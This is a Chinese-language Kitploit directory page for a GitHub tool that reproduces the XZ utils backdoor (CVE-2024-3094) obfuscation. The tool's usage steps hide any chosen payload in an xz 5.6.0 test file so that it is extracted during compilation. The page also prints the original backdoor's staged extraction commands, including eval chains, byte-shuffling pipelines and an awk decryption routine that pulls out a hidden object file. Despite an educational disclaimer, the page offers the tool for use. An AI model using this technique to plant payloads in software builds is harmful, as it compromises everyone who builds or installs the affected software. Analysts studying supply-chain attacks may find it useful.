Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/thomrgn/xzutils_backdoor_obfuscation
漏洞利用逆向工程恶意软件分析供应链安全学习与教育Payload 开发二进制利用
GitHubthomrgn/xzutils_backdoor_obfuscation

xzutils_backdoor_obfuscation

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

用于以与 XZ utils 攻击 (CVE-2024-3094) 相同的方式混淆载荷的脚本

查看仓库
10个月前尚未审核

xzutils_backdoor_obfuscation

此脚本复现了 XZ utils 攻击(CVE-2024-3094)所使用的混淆技术。 它仅在 xzutils v5.6.0 上经过测试。

⚠️ 此代码仅供教育目的使用,不应被用于恶意活动。风险自负。 ⚠️

前提条件

你的工作目录中必须包含来自 xzutils 5.6.0 的原始 good-large_compressed.lzma 文件。

使用方法

运行以下命令:

./obfuscate_payload.sh [your_payload]

将生成一个 good-large_compressed.lzma.modified 文件,你需要将其放入 xzutils 5.6.0 源代码的 test/files 文件夹中,并命名为 good-large_compressed.lzma。 随后,后门将在编译过程中被提取出来。

限制

此代码已使用与原始文件大小相同的、经修改的 liblzma_la-crc64-fast.o 进行测试。使用更大的文件可能无法正常工作,因为载荷大小受限。

载荷的去混淆

此部分为可选项,它演示了如何从 good-large_compressed.lzma 中去混淆提取载荷。你可以将其用于原始文件,或用于使用本项目生成的文件。

前提条件

你的工作目录中必须包含来自 xzutils 5.6.0 的原始 good-large_compressed.lzma 和 bad-3-corrupt_lzma2.xz 文件。

步骤 1:提取隐藏在 bad-3-corrupt_lzma2.xz 中的脚本

root@kitploit:~
gl_am_configmake=bad-3-corrupt_lzma2.xz
gl_path_unmap='tr " \t_\-" "\t \-_"'  # Reverse the character mapping
gl_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"
gl_reverse_config="sed ':a;N;\$!ba;s/\n//g' $gl_am_configmake | eval $gl_path_unmap"
eval $gl_reverse_config

这将得到一个 bash 脚本,用于执行步骤 2。

步骤 2:提取隐藏在 good-large_compressed.lzma 中的第二个脚本

运行以下代码(取自阶段 1 的输出):

root@kitploit:~
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 		>/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc

这将得到另一个 bash 脚本,用于执行步骤 3。

步骤 3:提取隐藏在 good-large_compressed.lzma 中的载荷

运行以下代码(取自阶段 2 的输出):

root@kitploit:~
W=88792
N=0
p="good-large_compressed.lzma"
i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)"

xz -dc $p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

这将提取混淆后的载荷 liblzma_la-crc64-fast.o。

下载工具